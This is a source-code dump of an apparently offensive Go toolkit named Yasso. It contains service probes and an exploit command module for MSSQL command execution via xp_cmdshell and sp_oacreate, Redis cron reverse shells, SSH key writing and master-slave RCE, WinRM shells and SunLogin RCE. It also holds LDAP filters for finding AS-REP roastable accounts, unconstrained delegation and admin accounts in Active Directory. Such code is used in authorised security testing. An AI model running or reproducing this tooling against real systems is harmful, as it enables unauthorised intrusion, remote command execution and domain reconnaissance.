119 | _ = conn.SetDeadline(time.Now().Add(time.Duration(2) * time.Second))
120 | reply = make([]byte, 256)
121 | _, _ = conn.Read(reply)
122 | if conn != nil {
123 | _ = conn.Close()
124 | }
125 | return reply, nil
126 | }
127 |
--------------------------------------------------------------------------------
/core/plugin/winrm.go:
--------------------------------------------------------------------------------
1 | package plugin
2 |
3 | import (
4 | "Yasso/config"
5 | "fmt"
6 | "github.com/masterzen/winrm"
7 | "net"
8 | "os"
9 | )
10 |
11 | func WinRMAuth(info config.ServiceConn, user, pass string) (*winrm.Client, bool, error) {
12 | var err error
13 | params := winrm.DefaultParameters
14 | // 设置代理认证
15 | params.Dial = func(network, addr string) (net.Conn, error) {
16 | return net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
17 | }
18 | // 设置输入
19 | endpoint := winrm.NewEndpoint("other-host", 5985, false, false, nil, nil, nil, 0)
20 | client, err := winrm.NewClientWithParameters(endpoint, user, pass, params)
21 | stdout := os.Stdout
22 | res, err := client.Run("echo ISOK > nul", stdout, os.Stderr)
23 | if err != nil {
24 | return nil, false, err
25 | }
26 | if res == 0 && err == nil {
27 | return client, true, nil
28 | }
29 | return nil, false, err
30 | }
31 |
--------------------------------------------------------------------------------
/core/plugin/zookeeper.go:
--------------------------------------------------------------------------------
1 | package plugin
2 |
3 | import (
4 | "Yasso/config"
5 | "Yasso/core/logger"
6 | "bytes"
7 | "fmt"
8 | "net"
9 | )
10 |
11 | func ZookeeperConn(info config.ServiceConn, user, pass string) (bool, error) {
12 | payload := []byte("envidddfdsfsafafaerwrwerqwe")
13 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
14 | if err != nil {
15 | return false, err
16 | }
17 | _, err = conn.Write(payload)
18 | if err == nil {
19 | reply := make([]byte, 1024)
20 | n, err := conn.Read(reply)
21 | if err == nil {
22 | if bytes.Contains(reply[:n], []byte("Environment")) {
23 | logger.Success(fmt.Sprintf("zookeeper %s unauthorized", fmt.Sprintf("%v:%v", info.Hostname, info.Port)))
24 | return true, nil
25 | }
26 | }
27 | }
28 | return false, err
29 | }
30 |
--------------------------------------------------------------------------------
/core/utils/utils.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "encoding/hex"
5 | "fmt"
6 | "strings"
7 | )
8 |
9 | func ByteToStringParse(p []byte) string {
10 | var w []string
11 | var res string
12 | for i := 0; i < len(p); i++ {
13 | if p[i] > 32 && p[i] < 127 {
14 | w = append(w, string(p[i]))
15 | continue
16 | }
17 | asciiTo16 := fmt.Sprintf("\\x%s", hex.EncodeToString(p[i:i+1]))
18 | w = append(w, asciiTo16)
19 | }
20 | res = strings.Join(w, "")
21 | if strings.Contains(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") {
22 | s := strings.Split(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00")
23 | return s[0]
24 | }
25 | return res
26 | }
27 |
--------------------------------------------------------------------------------
/example.txt:
--------------------------------------------------------------------------------
1 | 192.168.1.1/24
2 | www.baidu.com
3 | 192.168.248.1-13
4 | sairson.cn
5 | 1ight.top/123456
--------------------------------------------------------------------------------
/example/tcp_ssh_test.go:
--------------------------------------------------------------------------------
1 | package example
2 |
3 | import (
4 | "bytes"
5 | "encoding/hex"
6 | "fmt"
7 | "net"
8 | "regexp"
9 | "strings"
10 | "testing"
11 | "time"
12 | )
13 |
14 | func TcpProtocol(host string, port int, timeout time.Duration) ([]byte, error) {
15 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), time.Duration(timeout))
16 | if err != nil {
17 | return nil, err
18 | }
19 | _ = conn.SetDeadline(time.Now().Add(time.Duration(2) * time.Second))
20 | reply := make([]byte, 256)
21 | _, err = conn.Read(reply)
22 |
23 | var buffer [256]byte
24 | if err == nil && bytes.Equal(reply[:], buffer[:]) == false {
25 | if conn != nil {
26 | _ = conn.Close()
27 | }
28 | return reply, nil
29 | }
30 | conn, err = net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), time.Duration(timeout))
31 | if err != nil {
32 | return nil, err
33 | }
34 | msg := "GET /test HTTP/1.1\r\n\r\n"
35 | _, err = conn.Write([]byte(msg))
36 | if err != nil {
37 | return nil, err
38 | }
39 | _ = conn.SetDeadline(time.Now().Add(time.Duration(2) * time.Second))
40 | reply = make([]byte, 256)
41 | _, _ = conn.Read(reply)
42 | if conn != nil {
43 | _ = conn.Close()
44 | }
45 | return reply, nil
46 | }
47 | func ByteToStringParse1(p []byte) string {
48 | var w []string
49 | var res string
50 | for i := 0; i < len(p); i++ {
51 | if p[i] > 32 && p[i] < 127 {
52 | w = append(w, string(p[i]))
53 | continue
54 | }
55 | asciiTo16 := fmt.Sprintf("\\x%s", hex.EncodeToString(p[i:i+1]))
56 | w = append(w, asciiTo16)
57 | }
58 | res = strings.Join(w, "")
59 | if strings.Contains(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") {
60 | s := strings.Split(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00")
61 | return s[0]
62 | }
63 | return res
64 | }
65 | func Test1(test *testing.T) {
66 | buff, err := TcpProtocol("192.168.248.203", 22, 1*time.Second)
67 | if err != nil {
68 | fmt.Println(err)
69 | }
70 | ok, _ := regexp.Match(`^SSH.\d`, buff)
71 | str := ByteToStringParse1(buff)
72 | fmt.Println(ok, str)
73 | if ok {
74 | fmt.Println(strings.Split(str, "\\x0d\\x0a")[0])
75 | }
76 | }
77 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module Yasso
2 |
3 | go 1.17
4 |
5 | require (
6 | github.com/audibleblink/bamflags v1.0.0
7 | github.com/bwmarrin/go-objectsid v0.0.0-20191126144531-5fee401a2f37
8 | github.com/denisenkom/go-mssqldb v0.12.0
9 | github.com/go-ping/ping v0.0.0-20211130115550-779d1e919534
10 | github.com/go-redis/redis/v8 v8.11.5
11 | github.com/go-rod/rod v0.107.0
12 | github.com/go-sql-driver/mysql v1.6.0
13 | github.com/gookit/color v1.5.0
14 | github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358
15 | github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5
16 | github.com/jedib0t/go-pretty/v6 v6.3.1
17 | github.com/jlaffaye/ftp v0.0.0-20220310202011-d2c44e311e78
18 | github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40
19 | github.com/masterzen/winrm v0.0.0-20211231115050-232efb40349e
20 | github.com/projectdiscovery/cdncheck v0.0.3
21 | github.com/spf13/cobra v1.4.0
22 | github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8
23 | golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3
24 | golang.org/x/text v0.3.7
25 | gopkg.in/ldap.v2 v2.5.1
26 | gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22
27 | )
28 |
29 | require (
30 | github.com/Azure/go-ntlmssp v0.0.0-20211209120228-48547f28849e // indirect
31 | github.com/ChrisTrenkamp/goxpath v0.0.0-20210404020558-97928f7e12b6 // indirect
32 | github.com/cespare/xxhash/v2 v2.1.2 // indirect
33 | github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f // indirect
34 | github.com/gofrs/uuid v4.2.0+incompatible // indirect
35 | github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect
36 | github.com/golang-sql/sqlexp v0.0.0-20170517235910-f1bb20e5a188 // indirect
37 | github.com/google/uuid v1.2.0 // indirect
38 | github.com/hashicorp/errwrap v1.0.0 // indirect
39 | github.com/hashicorp/go-multierror v1.1.1 // indirect
40 | github.com/hashicorp/go-uuid v1.0.2 // indirect
41 | github.com/inconshreveable/mousetrap v1.0.0 // indirect
42 | github.com/jcmturner/aescts/v2 v2.0.0 // indirect
43 | github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect
44 | github.com/jcmturner/gofork v1.0.0 // indirect
45 | github.com/jcmturner/goidentity/v6 v6.0.1 // indirect
46 | github.com/jcmturner/gokrb5/v8 v8.4.2 // indirect
47 | github.com/jcmturner/rpc/v2 v2.0.3 // indirect
48 | github.com/json-iterator/go v1.1.12 // indirect
49 | github.com/masterzen/simplexml v0.0.0-20190410153822-31eea3082786 // indirect
50 | github.com/mattn/go-runewidth v0.0.13 // indirect
51 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
52 | github.com/modern-go/reflect2 v1.0.2 // indirect
53 | github.com/rivo/uniseg v0.2.0 // indirect
54 | github.com/spf13/pflag v1.0.5 // indirect
55 | github.com/xo/terminfo v0.0.0-20210125001918-ca9a967f8778 // indirect
56 | github.com/yl2chen/cidranger v1.0.2 // indirect
57 | github.com/ysmood/goob v0.4.0 // indirect
58 | github.com/ysmood/gson v0.7.1 // indirect
59 | github.com/ysmood/leakless v0.7.0 // indirect
60 | golang.org/x/net v0.0.0-20211216030914-fe4d6282115f // indirect
61 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c // indirect
62 | golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e // indirect
63 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
64 | gopkg.in/asn1-ber.v1 v1.0.0-20181015200546-f715ec2f112d // indirect
65 | )
66 |
67 | replace github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 => github.com/shadow1ng/grdp v1.0.3
68 |
--------------------------------------------------------------------------------
/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import "Yasso/cmd"
4 |
5 | func main() {
6 | cmd.Execute()
7 | }
8 |
--------------------------------------------------------------------------------
/pkg/exploit/config/config.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | // Exploits exp结构体
4 | type Exploits struct {
5 | Hostname string // 地址
6 | Port int // 端口
7 | User string // 连接用的用户名
8 | Pass string // 连接用的密码
9 | }
10 |
--------------------------------------------------------------------------------
/pkg/exploit/config/tools.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | import (
4 | "database/sql"
5 | )
6 |
7 | type Results struct {
8 | Columns []string
9 | Rows [][]string
10 | }
11 |
12 | func SQLExecute(db *sql.DB, q string) (*Results, error) {
13 | if q == "" {
14 | return nil, nil
15 | }
16 | rows, err := db.Query(q)
17 | //rows, err := db.Query(q)
18 | if err != nil {
19 | return nil, err
20 | }
21 | columns, err := rows.Columns()
22 | if err != nil {
23 | return nil, err
24 | }
25 |
26 | var results [][]string
27 | for rows.Next() {
28 | rs := make([]sql.NullString, len(columns))
29 | rsp := make([]interface{}, len(columns))
30 | for i := range rs {
31 | rsp[i] = &rs[i]
32 | }
33 | if err = rows.Scan(rsp...); err != nil {
34 | break
35 | }
36 |
37 | _rs := make([]string, len(columns))
38 | for i := range rs {
39 | _rs[i] = rs[i].String
40 | }
41 | results = append(results, _rs)
42 | }
43 | if closeErr := rows.Close(); closeErr != nil {
44 | return nil, closeErr
45 | }
46 | if err != nil {
47 | return nil, err
48 | }
49 | if err := rows.Err(); err != nil {
50 | return nil, err
51 | }
52 | return &Results{
53 | Columns: columns,
54 | Rows: results,
55 | }, nil
56 | }
57 |
--------------------------------------------------------------------------------
/pkg/exploit/exploit.go:
--------------------------------------------------------------------------------
1 | package exploit
2 |
3 | import (
4 | "Yasso/core/logger"
5 | "Yasso/pkg/exploit/config"
6 | "Yasso/pkg/exploit/ldap"
7 | "Yasso/pkg/exploit/mssql"
8 | "Yasso/pkg/exploit/redis"
9 | "Yasso/pkg/exploit/ssh"
10 | "Yasso/pkg/exploit/sunlogin"
11 | "Yasso/pkg/exploit/winrm"
12 | "github.com/spf13/cobra"
13 | )
14 |
15 | type ExpFlags struct {
16 | Hostname string
17 | Port int
18 | User string
19 | Pass string
20 | KeyFile string
21 | Rebound string
22 | Command string
23 | Method int // 每一个Exp的子方法
24 | Listen string // 本地监听地址
25 | SoPath string // so文件路径
26 | Filter string // ldap的过滤器
27 | LdapCmd bool // ldap的查询命令显示
28 | LdapAll bool // 是否自动查询ldap
29 | LdapName string // Ldap的name属性
30 | }
31 |
32 | var mssqlFlag ExpFlags
33 | var MssqlCmd = &cobra.Command{
34 | Use: "mssql",
35 | Short: "Quick attacks on MSSQL services",
36 | Run: func(cmd *cobra.Command, args []string) {
37 | if mssqlFlag.Hostname == "" {
38 | _ = cmd.Help()
39 | return
40 | }
41 | switch mssqlFlag.Method {
42 | case 1:
43 | mssql.ExploitMssql(config.Exploits{
44 | Hostname: mssqlFlag.Hostname,
45 | Port: mssqlFlag.Port,
46 | User: mssqlFlag.User,
47 | Pass: mssqlFlag.Pass,
48 | }, 1, mssqlFlag.Command)
49 | case 2:
50 | mssql.ExploitMssql(config.Exploits{
51 | Hostname: mssqlFlag.Hostname,
52 | Port: mssqlFlag.Port,
53 | User: mssqlFlag.User,
54 | Pass: mssqlFlag.Pass,
55 | }, 2, mssqlFlag.Command)
56 | case 3:
57 | mssql.ExploitMssql(config.Exploits{
58 | Hostname: mssqlFlag.Hostname,
59 | Port: mssqlFlag.Port,
60 | User: mssqlFlag.User,
61 | Pass: mssqlFlag.Pass,
62 | }, 3, mssqlFlag.Command)
63 | case 4:
64 | mssql.ExploitMssql(config.Exploits{
65 | Hostname: mssqlFlag.Hostname,
66 | Port: mssqlFlag.Port,
67 | User: mssqlFlag.User,
68 | Pass: mssqlFlag.Pass,
69 | }, 4, mssqlFlag.Command)
70 | default:
71 | logger.Fatal("not found exploit method")
72 | return
73 | }
74 | },
75 | }
76 |
77 | var sshFlag ExpFlags
78 | var SshCmd = &cobra.Command{
79 | Use: "ssh",
80 | Short: "Quick attacks on SSH services",
81 | Run: func(cmd *cobra.Command, args []string) {
82 | if sshFlag.Hostname == "" {
83 | _ = cmd.Help()
84 | return
85 | }
86 | ssh.ExploitSSH(config.Exploits{
87 | Hostname: sshFlag.Hostname,
88 | Port: sshFlag.Port,
89 | User: sshFlag.User,
90 | Pass: sshFlag.Pass,
91 | }, sshFlag.KeyFile)
92 | },
93 | }
94 |
95 | var winrmFlag ExpFlags
96 | var WinRmCmd = &cobra.Command{
97 | Use: "winrm",
98 | Short: "Quick attacks on WinRM services",
99 | Run: func(cmd *cobra.Command, args []string) {
100 | if winrmFlag.Hostname == "" {
101 | _ = cmd.Help()
102 | return
103 | }
104 | winrm.ExploitWinRM(config.Exploits{
105 | Hostname: winrmFlag.Hostname,
106 | Port: winrmFlag.Port,
107 | User: winrmFlag.User,
108 | Pass: winrmFlag.Pass,
109 | }, winrmFlag.Command, winrmFlag.Method)
110 | },
111 | }
112 |
113 | var redisFlag ExpFlags
114 | var RedisCmd = &cobra.Command{
115 | Use: "redis",
116 | Short: "Quick attacks on Redis services",
117 | Run: func(cmd *cobra.Command, args []string) {
118 | if redisFlag.Hostname == "" {
119 | _ = cmd.Help()
120 | return
121 | }
122 | redis.ExploitRedis(config.Exploits{
123 | Hostname: redisFlag.Hostname,
124 | Port: redisFlag.Port,
125 | User: "",
126 | Pass: redisFlag.Pass,
127 | }, redisFlag.Method, redisFlag.Rebound, redisFlag.KeyFile, redisFlag.Listen, "")
128 | },
129 | }
130 |
131 | var sunLoginFlag ExpFlags
132 | var SunLoginCmd = &cobra.Command{
133 | Use: "sunlogin",
134 | Short: "Quick attacks on SunLogin services (RCE)",
135 | Run: func(cmd *cobra.Command, args []string) {
136 | if sunLoginFlag.Hostname == "" {
137 | _ = cmd.Help()
138 | return
139 | }
140 | if sunLoginFlag.Port == 0 {
141 | logger.Fatal("input sunlogin port")
142 | return
143 | } else {
144 | sunlogin.ExploitSunLogin(config.Exploits{
145 | Hostname: sunLoginFlag.Hostname,
146 | Port: sunLoginFlag.Port,
147 | User: "",
148 | Pass: "",
149 | }, sunLoginFlag.Command)
150 | }
151 | },
152 | }
153 |
154 | var LdapReaperFlag ExpFlags
155 |
156 | var LdapReaperCmd = &cobra.Command{
157 | Use: "ldap",
158 | Short: "ldap single query with filter and fast automatic query",
159 | Run: func(cmd *cobra.Command, args []string) {
160 | if LdapReaperFlag.Hostname == "" || LdapReaperFlag.User == "" {
161 | _ = cmd.Help()
162 | return
163 | }
164 | if LdapReaperFlag.LdapCmd == true {
165 | ldap.ListLdapCommand()
166 | return
167 | } else {
168 | if LdapReaperFlag.Command != "" {
169 | LdapReaperFlag.LdapAll = false
170 | }
171 | ldap.LdapAuthAndQuery(LdapReaperFlag.Hostname, LdapReaperFlag.User, LdapReaperFlag.Pass, LdapReaperFlag.Command, LdapReaperFlag.Filter, LdapReaperFlag.LdapName, LdapReaperFlag.LdapAll)
172 | }
173 | },
174 | }
175 |
176 | func init() {
177 | MssqlCmd.Flags().StringVar(&mssqlFlag.Hostname, "host", "", "设置mssql连接主机地址")
178 | MssqlCmd.Flags().StringVar(&mssqlFlag.Command, "cmd", "", "执行的system命令")
179 | MssqlCmd.Flags().IntVar(&mssqlFlag.Port, "port", 1433, "设置mssql连接主机端口")
180 | MssqlCmd.Flags().StringVar(&mssqlFlag.User, "user", "sa", "设置连接的用户名")
181 | MssqlCmd.Flags().StringVar(&mssqlFlag.Pass, "pass", "", "设置连接的密码")
182 | MssqlCmd.Flags().IntVar(&mssqlFlag.Method, "method", 1, "设置exploit方法(.eg)\n[1][xp_cmdshell]\n[2][sp_oacreate]\n[3][install SharpSQLKit]\n[4][uninstall SharpSQLKit]")
183 | SshCmd.Flags().StringVar(&sshFlag.Hostname, "host", "", "设置ssh连接主机地址")
184 | SshCmd.Flags().StringVar(&sshFlag.KeyFile, "key", "", "设置ssh的连接密钥")
185 | SshCmd.Flags().StringVar(&sshFlag.User, "user", "root", "设置连接的用户名")
186 | SshCmd.Flags().StringVar(&sshFlag.Pass, "pass", "", "设置连接的密码")
187 | SshCmd.Flags().IntVar(&sshFlag.Port, "port", 22, "设置ssh的连接端口")
188 | RedisCmd.Flags().StringVar(&redisFlag.Hostname, "host", "", "设置redis主机的连接地址")
189 | RedisCmd.Flags().StringVar(&redisFlag.Rebound, "rebound", "", "设置redis定时计划反弹shell地址")
190 | RedisCmd.Flags().StringVar(&redisFlag.KeyFile, "key", "", "设置redis写入公钥的本地文件路径")
191 | RedisCmd.Flags().StringVar(&redisFlag.Listen, "listen", "127.0.0.1:8888", "设置redis主从服务本地监听")
192 | RedisCmd.Flags().StringVar(&redisFlag.Pass, "pass", "", "设置redis的连接密码")
193 | RedisCmd.Flags().StringVar(&redisFlag.SoPath, "so", "", "设置其他so文件路径")
194 | RedisCmd.Flags().IntVar(&redisFlag.Port, "port", 6379, "设置redis的连接端口")
195 | RedisCmd.Flags().IntVar(&redisFlag.Method, "method", 1, "设置exploit方法(.eg)\n[1][redis定时计划反弹shell]\n[2][redis公钥写入]\n[3][redis主从复制RCE(需要对方主机可以访问服务启动主机)]")
196 | WinRmCmd.Flags().StringVar(&winrmFlag.Hostname, "host", "", "设置winrm连接主机")
197 | WinRmCmd.Flags().StringVar(&winrmFlag.User, "user", "administrator", "设置winrm连接用户")
198 | WinRmCmd.Flags().StringVar(&winrmFlag.Pass, "pass", "", "设置winrm连接密码")
199 | WinRmCmd.Flags().StringVar(&winrmFlag.Command, "cmd", "whoami", "设置winrm执行的命令")
200 | WinRmCmd.Flags().IntVar(&winrmFlag.Port, "port", 5985, "设置winrm连接端口")
201 | WinRmCmd.Flags().IntVar(&winrmFlag.Method, "method", 1, "设置exploit方法(.eg)\n[1][winrm单命令执行,需配合cmd参数]\n[2][winrm正向shell方式执行]")
202 | SunLoginCmd.Flags().StringVar(&sunLoginFlag.Hostname, "host", "", "设置向日葵主机地址")
203 | SunLoginCmd.Flags().IntVar(&sunLoginFlag.Port, "port", 0, "设置向日葵端口")
204 | SunLoginCmd.Flags().StringVar(&sunLoginFlag.Command, "cmd", "whoami", "设置system命令")
205 | LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Hostname, "dc", "", "设置dc的主机名(FQDN)")
206 | LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.User, "user", "", "设置域用户名称(.eg)[KLION\\Oadmin]")
207 | LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Pass, "pass", "", "设置域用户密码")
208 | LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Filter, "filter", "full-data", "设置过滤器,一般为full-data")
209 | LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Command, "cmd", "", "设置查询命令,可通过ldap-cmd查看")
210 | LdapReaperCmd.Flags().BoolVar(&LdapReaperFlag.LdapCmd, "ldap-cmd", false, "列出ldap可用的查询命令")
211 | LdapReaperCmd.Flags().BoolVar(&LdapReaperFlag.LdapAll, "ldap-all", true, "是否采用自动ldap查询(将查询默认ldap信息)")
212 | LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.LdapName, "name", "", "域(成员,组,计算机)名称")
213 | }
214 |
--------------------------------------------------------------------------------
/pkg/exploit/ldap/core/filter/filter.go:
--------------------------------------------------------------------------------
1 | package filter
2 |
3 | import "strings"
4 |
5 | // LdapFilter ldap过滤器
6 | func LdapFilter(needle string, filterDN string) string {
7 | return strings.Replace(filterDN, "{username}", needle, -1)
8 | }
9 |
--------------------------------------------------------------------------------
/pkg/exploit/ldap/core/query/flags.go:
--------------------------------------------------------------------------------
1 | package query
2 |
3 | var PwdFlags = map[int]string{
4 | 0x01: "PASSWORD_COMPLEX",
5 | 0x02: "PASSWORD_NO_ANON_CHANGE",
6 | 0x04: "PASSWORD_NO_CLEAR_CHANGE",
7 | 0x08: "LOCKOUT_ADMINS",
8 | 0x10: "PASSWORD_STORE_CLEARTEXT",
9 | 0x20: "REFUSE_PASSWORD_CHANGE",
10 | }
11 |
12 | var UacFlags = map[int]string{
13 | 0x00000002: "ACCOUNT_DISABLED",
14 | 0x00000010: "ACCOUNT_LOCKED",
15 | 0x00000020: "PASSWD_NOTREQD",
16 | 0x00000040: "PASSWD_CANT_CHANGE",
17 | 0x00000080: "PASSWORD_STORE_CLEARTEXT",
18 | 0x00000200: "NORMAL_ACCOUNT",
19 | 0x00001000: "WORKSTATION_ACCOUNT",
20 | 0x00002000: "SERVER_TRUST_ACCOUNT",
21 | 0x00010000: "DONT_EXPIRE_PASSWD",
22 | 0x00040000: "SMARTCARD_REQUIRED",
23 | 0x00080000: "TRUSTED_FOR_DELEGATION",
24 | 0x00100000: "NOT_DELEGATED",
25 | 0x00200000: "USE_DES_KEY_ONLY",
26 | 0x00400000: "DONT_REQ_PREAUTH",
27 | 0x00800000: "PASSWORD_EXPIRED",
28 | 0x01000000: "TRUSTED_TO_AUTH_FOR_DELEGATION",
29 | 0x04000000: "PARTIAL_SECRETS_ACCOUNT",
30 | }
31 |
32 | var SamType = map[int64]string{
33 | 0x0: "SAM_DOMAIN_OBJECT",
34 | 0x10000000: "SAM_GROUP_OBJECT",
35 | 0x10000001: "SAM_NON_SECURITY_GROUP_OBJECT",
36 | 0x20000000: "SAM_ALIAS_OBJECT",
37 | 0x20000001: "SAM_NON_SECURITY_ALIAS_OBJECT",
38 | 0x30000000: "SAM_USER_OBJECT",
39 | 0x30000001: "SAM_MACHINE_ACCOUNT",
40 | 0x30000002: "SAM_TRUST_ACCOUNT",
41 | 0x40000000: "SAM_APP_BASIC_GROUP",
42 | 0x40000001: "SAM_APP_QUERY_GROUP",
43 | 0x7fffffff: "SAM_ACCOUNT_TYPE_MAX",
44 | }
45 |
46 | var Trust = map[int]string{
47 | 0x00000001: "NON_TRANSITIVE",
48 | 0x00000002: "UPLEVEL_ONLY",
49 | 0x00000004: "QUARANTINED_DOMAIN",
50 | 0x00000008: "FOREST_TRANSITIVE",
51 | 0x00000010: "CROSS_ORGANIZATION",
52 | 0x00000020: "WITHIN_FOREST",
53 | 0x00000040: "TREAT_AS_EXTERNAL",
54 | 0x00000080: "USES_RC4_ENCRYPTION",
55 | 0x00000200: "CROSS_ORGANIZATION_NO_TGT_DELEGATION",
56 | 0x00000400: "PIM_TRUST",
57 | 0x00000800: "CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION",
58 | }
59 | var TrustDirections = map[int]string{
60 | 0x01: "INBOUND",
61 | 0x02: "OUTBOUND",
62 | 0x03: "BIDIRECTIONAL",
63 | }
64 |
65 | var TrustType = map[int]string{
66 | 0x01: "DOWNLEVEL",
67 | 0x02: "UPLEVEL",
68 | 0x03: "MIT",
69 | }
70 |
--------------------------------------------------------------------------------
/pkg/exploit/ldap/core/query/object.go:
--------------------------------------------------------------------------------
1 | package query
2 |
3 | // LdapQueries ldap的查询字符串
4 | var LdapQueries = map[string]string{
5 | "users": "(objectClass=user)",
6 | "groups": "(objectClass=group)",
7 | "computers": "(objectClass=Computer)",
8 | "dc": "(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))",
9 | "gpo": "(objectClass=groupPolicyContainer)",
10 | "spn": "(&(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512))(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))",
11 | "unconstrained-users": "(&(&(objectCategory=person)(objectClass=user))(userAccountControl:1.2.840.113556.1.4.803:=524288))",
12 | "unconstrained-computers": "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))",
13 | "ms-sql": "(&(objectCategory=computer)(servicePrincipalName=MSSQLSvc*))",
14 | "never-loggedon": "(&(objectCategory=person)(objectClass=user)(|(lastLogonTimestamp=0)(!(lastLogonTimestamp=*))))",
15 | "admin-priv": "(adminCount=1)",
16 | "domain-trust": "(objectClass=trustedDomain)",
17 | "ou": "(&(objectCategory=organizationalUnit)(ou=*))",
18 | "group-members": "(&(objectCategory=user)(memberOf={DN}))",
19 | "specific-users": "(&(objectCategory=user)(sAMAccountName={SAM}))",
20 | "specific-computers": "(&(objectClass=Computer)(cn={SAM}))",
21 | "specific-groups": "(&(objectCategory=group)(sAMAccountName={SAM}))",
22 | "specific-spn": "(&(&(servicePrincipalName=*)(cn={SAM})(UserAccountControl:1.2.840.113556.1.4.803:=512))(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))",
23 | "specific-ms-sql": "(&(objectCategory=computer)(cn={SAM})(servicePrincipalName=MSSQLSvc*))",
24 | "asreproast": "(&(objectClass=user)(objectCategory=user)(useraccountcontrol:1.2.840.113556.1.4.803:=4194304))",
25 | "unconstrained": "(|(&(objectClass=Computer)(useraccountcontrol:1.2.840.113556.1.4.803:=524288))(&(objectClass=user)(useraccountcontrol:1.2.840.113556.1.4.803:=524288)))",
26 | }
27 |
28 | var ldapCommands = map[string]string{
29 | "users": "Users",
30 | "user-logs": "User Properties",
31 | "groups": "Groups",
32 | "computers": "Computers",
33 | "dc": "Domain Controllers",
34 | "gpo": "Group Policy Objects",
35 | "spn": "Service Principal Names",
36 | "never-loggedon": "Users Never LoggedOn",
37 | "ms-sql": "MS-SQL Servers",
38 | "admin-priv": "Admin Priv",
39 | "domain-trust": "Trusted Domain",
40 | "ou": "Organizational Units",
41 | "asreproast": "AS-REP Roastable Accounts",
42 | "unconstrained": "Unconstrained Delegation",
43 | }
44 |
45 | var LdapCommandAndFilter = map[string]string{
46 | "users": "full-data",
47 | "user-logs": "",
48 | "groups": "full-data",
49 | "computers": "full-data",
50 | "dc": "",
51 | "gpo": "",
52 | "spn": "",
53 | "never-loggedon": "",
54 | "ms-sql": "full-data",
55 | "admin-priv": "",
56 | "domain-trust": "",
57 | "ou": "",
58 | "asreproast": "",
59 | "unconstrained": "",
60 | }
61 |
--------------------------------------------------------------------------------
/pkg/exploit/ldap/core/query/query.go:
--------------------------------------------------------------------------------
1 | package query
2 |
3 | import (
4 | "Yasso/core/logger"
5 | "github.com/jedib0t/go-pretty/v6/table"
6 | "gopkg.in/ldap.v2"
7 | "os"
8 | )
9 |
10 | type Server struct {
11 | LdapServer string // dc地址
12 | LdapUser string // 用户名(域用户即可)
13 | LdapPassword string // 密码
14 | }
15 |
16 | // ldap的连接函数
17 | func (s *Server) ldapConn() (*ldap.Conn, bool, error) {
18 | conn, err := ldap.Dial("tcp", s.LdapServer)
19 | if err != nil {
20 | return nil, false, err
21 | }
22 | if err := conn.Bind(s.LdapUser, s.LdapPassword); err != nil {
23 | return nil, false, err
24 | }
25 | return conn, true, nil
26 | }
27 |
28 | func LdapListQuery(dc, user, pass, baseDN, command, filter, name string, all bool) {
29 | server := Server{
30 | LdapServer: dc,
31 | LdapPassword: pass,
32 | LdapUser: user,
33 | }
34 | conn, flag, err := server.ldapConn()
35 | defer conn.Close()
36 | if flag == false || err != nil {
37 | logger.Fatal("ldap server connect failed")
38 | return
39 | }
40 | if all == true {
41 | // 查询全部ldap并采用full-data过滤器
42 | for i, f := range LdapCommandAndFilter {
43 | err := LdapQuery(conn, baseDN, i, f, name)
44 | if err != nil {
45 | logger.Fatal(err.Error())
46 | return
47 | }
48 | }
49 | } else {
50 | err := LdapQuery(conn, baseDN, command, filter, name)
51 | if err != nil {
52 | logger.Fatal(err.Error())
53 | return
54 | }
55 | }
56 | }
57 |
58 | // LdapQuery 传入baseDN,
59 | func LdapQuery(conn *ldap.Conn, baseDN string, command string, filter string, name string) error {
60 | t := table.NewWriter()
61 | t.SetOutputMirror(os.Stdout)
62 | t.AppendHeader(table.Row{ldapCommands[command]})
63 | t.SetColumnConfigs([]table.ColumnConfig{
64 | {
65 | Name: ldapCommands[command],
66 | WidthMin: 20,
67 | WidthMax: 100,
68 | },
69 | })
70 | if command == "users" && filter == "list" && name == "" {
71 | if err := LdapListResolver(t, conn, baseDN, command); err != nil {
72 | logger.Fatal(err.Error())
73 | }
74 | }
75 | if command == "users" && filter == "full-data" && name == "" {
76 | if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
